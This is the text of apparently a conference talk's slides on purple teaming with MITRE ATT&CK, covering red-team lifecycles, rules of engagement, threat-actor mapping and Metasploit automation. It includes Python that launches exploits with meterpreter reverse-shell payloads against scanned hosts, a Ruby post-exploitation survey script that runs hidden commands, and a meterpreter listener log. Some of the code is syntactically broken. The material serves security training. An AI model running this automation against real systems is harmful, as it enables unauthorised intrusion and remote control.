David Evenden
Centurylink

Summit Talk

Emulating the Adversary While Training the Defenders: Purple Teaming with MITRE ATT&CK
OUTLINE

PURPLE TEAM MODELING

REDTEAM ENGAGEMENT LIFE-CYCLES

THREAT ACTOR MODELING W/ MITRE ATT&CK

MSF MODULE MODELING

BLUE TEAM POST-ENGAGEMENT SECURITY-POSTURE MODELING

PURPLE TEAM SYNERGY
# PURPLE TEAM MODELING

<table>
<thead>
<tr>
<th>RED TEAM</th>
<th>PURPLE TEAM</th>
<th>BLUE TEAM</th>
</tr>
</thead>
</table>
| - Offensive security  
- Oppose Blue Team  
- Evade protection and detection capabilities  
- Compromise credentials  
- Escalate privileges  
- Move laterally across systems  
- ACE is Red Team | - Collaborative security  
- Red and Blue Teams function together  
- Cooperate to test/improve detection and defense  
- Improve both offensive and defensive skill sets  
- Vulnerability scanning and penetration testing | - Defensive security  
- Oppose Red Team  
- Protect systems & data  
- Threat Hunting/Intelligence  
- Malware Analysis  
- Digital Forensics  
- Security Operations & Incident Response are Blue Teams |

*DAVID EVENDEN*
REDTEAM ENGAGEMENT LIFECYCLES

SCOPING, PLANNING, RULES OF ENGAGEMENT
RECON
ATTACK
FOOTHOLD
INTERNAL RECON
LATERAL MOVEMENT
TARGET CRITICAL DATA
EXFIL

DAVID EVENDEN
REDTEAM ENGAGEMENT LIFECYCLES

**Rules of Engagement**

01 **OFF LIMITS LIST**
- Prohibited devices
- Often critical & sensitive infrastructure

02 **KEY DEVICES TO TEST**
- Ensures certain devices are tested
- Often publicly accessible devices
- Often non-critical devices with sensitive data

03 **CRITICAL INFRASTRUCTURE**
- Identify devices that are critical to organization and daily operations
- Test critical infrastructure with only non-destructive exploits

04 **SENSITIVE DATA**
- Prevent destruction of or access to sensitive data
- Plan separate tests to focus on sensitive data

05 **APPROVED HOURS OF OPERATION**
- Maintain availability of resources
- Test majority of target network standard organization working hours
RED TEAM ENGAGEMENT LIFECYCLES
THREAT ACTOR MODELING
W/ MITRE ATT&CK

PROGRAMMATIC ACCESS
ACTOR-2-TECHNIQUE MAPPING
ACTOR-2-INDUSTRY MAPPING
OBJECT ORIENTED DB STORAGE
TECHNIQUE-2-MSF MODULE MAPPING
THREAT ACTOR MODELING W/ MITRE ATT&CK

https://medium.com/mitre-attack/visualizing-attack-f5e1766b42a6
from stix2 import FileSystemSource
from stix2 import Filter
from itertools import chain

fs = FileSystemSource('/path/to/enterprise.attack')
 filt = Filter('type', '=', 'attack-pattern')
 techniques = fs.query([filt])

def get_all_groups(src):
    return src.query([Filter('type', '=', 'intrusion-set')])

def get_group_by_alias(src, alias):
    return src.query([Filter('type', '=', 'intrusion-set'), Filter('aliases', '=', alias)])

def get_technique_by_group(src, stix_id):
    relations = src.relationships(stix_id, 'uses', source_only=True)
    external_id_response = src.query([Filter('type', '=', 'attack-pattern'), Filter('id', 'in', [r['target_ref'] for r in relations])])
    tech_date = [(i['id'], i['name'], str(i['created']).split('T')[0].split()[0]) for i in external_id_response]
    for i in tech_date:
        print '%s,%s,%s' % (stix_id['name'], i[0], i[1], i[2])

 groups = get_all_groups(fs)
 group_names = [g['name'] for g in groups]
 group_stix_ids = [get_group_by_alias(fs, alias)[0] for alias in group_names]
 group_stix_ids = [get_technique_by_group(fs, group_stix_id) for group_stix_id in group_stix_ids]
MSF MODULE MODELING

MSFRPC ACCESS

MSF MODULE MODELING : [EXPLOIT/AUXILIARY/POST]
MSF MODULE MODELING
import psycopg2, psycopg2.extras
psql_connect = "host='localhost' dbname='msf' user='msf' password='%pass%'"
msf_conn = psycopg2.connect(psql_connect)
msf_cursor = msf_conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
# MSF Module Modeling

## Modules for Windows XP

<table>
<thead>
<tr>
<th>full_name</th>
<th>id</th>
<th>detail_id</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>exploit/multi/browser/firefox_escape_retval</td>
<td>223</td>
<td></td>
<td>Firefox 3.5.0 on Windows XP SP0-SP3</td>
</tr>
<tr>
<td>exploit/multi/vpn/tincd_bof</td>
<td>459</td>
<td></td>
<td>Windows XP x86, tinc 1.1.0rc6 (exe installer)</td>
</tr>
<tr>
<td>exploit/multi/wyse/hagent_untrusted_hsdata</td>
<td>460</td>
<td></td>
<td>Windows XP XPE x86</td>
</tr>
<tr>
<td>exploit/windows/arketa/type77</td>
<td>668</td>
<td></td>
<td>Arketa 5.x Windows XP English SP0/SP1</td>
</tr>
<tr>
<td>exploit/windows/arketa/type77</td>
<td>668</td>
<td></td>
<td>Arketa 4.2 Windows XP English SP0/SP1</td>
</tr>
<tr>
<td>exploit/windows/brightstar/sql_agent</td>
<td>687</td>
<td></td>
<td>Windows XP SP0-SP1 English</td>
</tr>
<tr>
<td>exploit/windows/brightstar/sql_agent</td>
<td>687</td>
<td></td>
<td>Windows XP SP2 English</td>
</tr>
<tr>
<td>exploit/windows/browser/adobe_flash_mp4_cpr</td>
<td>697</td>
<td></td>
<td>IE 7 on Windows XP SP3</td>
</tr>
<tr>
<td>exploit/windows/browser/adobe_flash_mp4_cpr</td>
<td>697</td>
<td></td>
<td>IE 6 on Windows XP SP3</td>
</tr>
<tr>
<td>exploit/windows/browser/adobe_flash_mp4_cpr</td>
<td>697</td>
<td></td>
<td>IE 8 on Windows XP SP3 with msvcr7 ROP</td>
</tr>
</tbody>
</table>
MANDALORE-QUEST

TARGET IDENTIFICATION
PYTHON-NMAP
VULNERABILITY DISCOVERY
MSF MODULE MAPPING
INITIATING MSFRPC CONSOLE
LAUNCHING ACTOR-2-TECHNIQUE-2-DISCOVERED-VULNERABILITIES
TARGET & OS FINGERPRINTING

```python
# using 3 spaces instead of /t
import nmap
nm = nmap.PortScanner()
# if a port is provided
nm.scan(TARGET, PORT, arguments='--n -O -Pn')
print nm.command_line()  # for education purposes
# if a port is not provided
nm.scan(TARGET, arguments='--n -O -Pn')
allhosts = nm.all_hosts()
protocols = nm.all_protocols()  # not actually helpful

# Then I rotated through the hosts with a for loop.
for i in allhosts:
    print nm[i].hostname()
    print nm[i].state()
    print nm[i].('tcp').keys()  # helpful gets all TCP open ports

# in order to get OS data you must process the osmatch data
osfamily = nm[i][('osmatch')[0][('osclass')[0][('osfamily')]]
osgen = nm[i][('osmatch')[0][('osclass')[0][('osgen')]]
target_os = '%s %s' % (osfamily, osgen)

# alt option
# some module target options might use the long name
target_os = nm[i][('osmatch')[0][('name')]]
```
TARGET & OS FINGERPRINTING

```python
myip = socket.gethostbyname(socket.gethostname())
local_port = 8000
for exploit in exploits:
    command = ""
    use %s
    set payload %s/meterpreter/reverse_tcp
    set rhost %s
    set lhost %s
    set lport %s
    set autorunscript multi_console_command -rc /surveyscripts/%s/survey.rc
run -j
""  % (exploit, osfamily, ipaddr, myip, local_port, osfamily)
client.call('console.write', [console_id.commands])
local_port += 1
```
INITIAL ACCESS – SURVEY SCRIPT

```ruby
def list_exec(session, cmdlst)
    survey_time = Time.now.strftime('%Y-%m-%d-%H%M')
    sysinfo = session.sys.config.sysinfo
    hostname = "#{sysinfo['Computer']}"
    message = "callback_time: #{survey_time}, hostname: #{hostname}"
    print_status("Running Command List ...")
    r =""
    session.response_timeout=120
    cmdlst.each do |cmd|
        begin
            print_status "running command #{cmd}"
            r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' =>
            while(d = r.channel.read)
                print_status("#{d}")
                filewrt(cmd, d, hostname, survey_time)
            end
            r.channel.close
            r.close
            rescue ::Exception => e
                print_error("Error Running Command #{cmd}: #{e.class} #{e}"
            end
        end
    syslog_rit(message)
    end
```

https://www.offensive-security.com/metasploit-unleashed/custom-scripting/

Added local MSF folder & file creation to store command output
**PRAETORIAN - POST EXPLOITATION ATT&CK AUTOMATION**

---

**Using a Module**

```bash
msf5 auxiliary(scanner/smb/impacket/secretsdump) > resource windows_listener.rc
[*] Processing /usr/src/metasploit-framework/scripts/resource/windows_listener.rc for
[*] resource /usr/src/metasploit-framework/scripts/resource/windows_listener.rc> Ru
[*] Starting HTTPS Listener for Windows x64 meterpreter on port 443.
payload = windows/x64/meterpreter_reverse_https
[172.18.0.3:443] Handling request from 172.18.0.3:443 to 172.18.0.3:443

[*] Meterpreter session 1 opened (172.18.0.3:443 -> 192.168.137.11:52012) at 2019-04-

msf5 post(windows/purple/t1005) > use post/windows/purple/t1028
msf5 post(windows/purple/t1028) > info

Name: Windows Remote Management (T1028) Windows - Purple Team
Module: post/windows/purple/t1028
Platform: Windows
Arch: 
Rank: Normal
name: normal

Provided by:
Davide Evenden

Compatible session types:
Meterpreter

Basic options:
<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLEANUP</td>
<td>true</td>
<td>yes</td>
</tr>
<tr>
<td>CMD</td>
<td>winrm qc -q &amp; winrm i c wmicinv2/Win32_Process g(CommandLine=&quot;calc&quot;)</td>
<td>yes</td>
</tr>
<tr>
<td>SESSION</td>
<td>1</td>
<td>yes</td>
</tr>
</tbody>
</table>
```

---

**Preloaded Post Exploitation Modules Mapped to ATT&CK Models**

---

https://www.praetorian.com/blog/getting-started-with-praetorians-attack-automation
BLUE TEAM POST-ENGAGEMENT SECURITY-POSTURE MITIGATION MODELING
SIGNATURES, TRACKING, & ALERTING

CREATING DEFENSIVE LIFECYCLES BASED ON MITRE ATT&CK ALONE IS NOT A GOOD SECURITY PRACTICE
THREAT LANDSCAPE MODELING
Configure Proper Backups & Lean on Professional Services for Business Continuity

Identify Critical Assets & Key Personnel

Enable Enterprise Security

Close Visibility Gaps

Implement & Train Response Plans

Recover

Identify

Protect

Respond

Detect
QUESTIONS?